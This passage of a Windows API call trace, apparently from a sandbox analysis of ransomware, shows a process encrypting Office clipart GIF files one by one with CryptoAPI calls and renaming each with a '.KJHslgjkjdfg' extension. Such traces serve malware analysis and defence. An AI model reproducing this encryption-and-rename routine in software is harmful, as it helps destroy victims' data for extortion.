Size=0x10) returned 0x2bdd90 [0162.018] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.018] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0162.021] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.021] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.021] GetProcessHeap () returned 0x2a0000 [0162.021] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.021] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.021] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.021] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.021] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.021] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.021] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.022] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.022] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.022] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.022] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.022] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3801, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3801, lpOverlapped=0x0) returned 1 [0162.023] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3810, dwBufLen=0x3810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3810) returned 1 [0162.023] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.023] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3810, lpOverlapped=0x0) returned 1 [0162.024] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x38e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.024] SetEndOfFile (hFile=0x114) returned 1 [0162.026] GetProcessHeap () returned 0x2a0000 [0162.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.027] GetProcessHeap () returned 0x2a0000 [0162.027] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.027] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.kjhslgjkjdfg")) returned 1 [0162.028] CloseHandle (hObject=0x114) returned 1 [0162.028] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1 [0162.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.029] GetProcessHeap () returned 0x2a0000 [0162.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.029] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.029] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0162.032] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.032] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.032] GetProcessHeap () returned 0x2a0000 [0162.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.032] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.032] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.032] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.032] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.032] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.033] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.033] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.033] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.033] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a92, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a92, lpOverlapped=0x0) returned 1 [0162.034] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2aa0, dwBufLen=0x2aa0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2aa0) returned 1 [0162.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.034] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2aa0, lpOverlapped=0x0) returned 1 [0162.036] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.036] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.036] SetEndOfFile (hFile=0x114) returned 1 [0162.038] GetProcessHeap () returned 0x2a0000 [0162.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.039] GetProcessHeap () returned 0x2a0000 [0162.039] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.039] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.kjhslgjkjdfg")) returned 1 [0162.040] CloseHandle (hObject=0x114) returned 1 [0162.040] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1 [0162.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.041] GetProcessHeap () returned 0x2a0000 [0162.041] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.041] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0162.043] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.043] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.044] GetProcessHeap () returned 0x2a0000 [0162.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.044] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.044] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.044] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.044] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.044] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.045] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.045] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.045] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.045] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x148b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x148b, lpOverlapped=0x0) returned 1 [0162.046] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490, dwBufLen=0x1490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1490) returned 1 [0162.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.046] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1490, lpOverlapped=0x0) returned 1 [0162.046] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.046] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.046] SetEndOfFile (hFile=0x114) returned 1 [0162.049] GetProcessHeap () returned 0x2a0000 [0162.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.049] GetProcessHeap () returned 0x2a0000 [0162.049] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.kjhslgjkjdfg")) returned 1 [0162.050] CloseHandle (hObject=0x114) returned 1 [0162.050] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1 [0162.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.051] GetProcessHeap () returned 0x2a0000 [0162.051] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.051] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.051] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.051] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0162.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.054] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.054] GetProcessHeap () returned 0x2a0000 [0162.054] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.054] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.054] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.054] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0162.054] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0162.054] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0162.054] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0162.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0162.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0162.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.055] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x84b7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x84b7, lpOverlapped=0x0) returned 1 [0162.056] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84c0, dwBufLen=0x84c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84c0) returned 1 [0162.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.057] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x84c0, lpOverlapped=0x0) returned 1 [0162.057] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.057] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.057] SetEndOfFile (hFile=0x114) returned 1 [0162.060] GetProcessHeap () returned 0x2a0000 [0162.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0162.060] GetProcessHeap () returned 0x2a0000 [0162.060] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0162.060] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.kjhslgjkjdfg")) returned 1 [0162.062] CloseHandle (hObject=0x114) returned 1 [0162.062] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x409f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099200.GIF", cAlternateFileName="")) returned 1 [0162.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0162.063] GetProcessHeap () returned 0x2a0000 [0162.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0162.063] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0162.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0162.064] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x1, lpOverlapped=0x0) returned 1 [0162.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0162.066] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0162.066] GetProcessHeap () returned 0x2a0000 [0162.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0162.066] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0162.066] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0162.066] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, 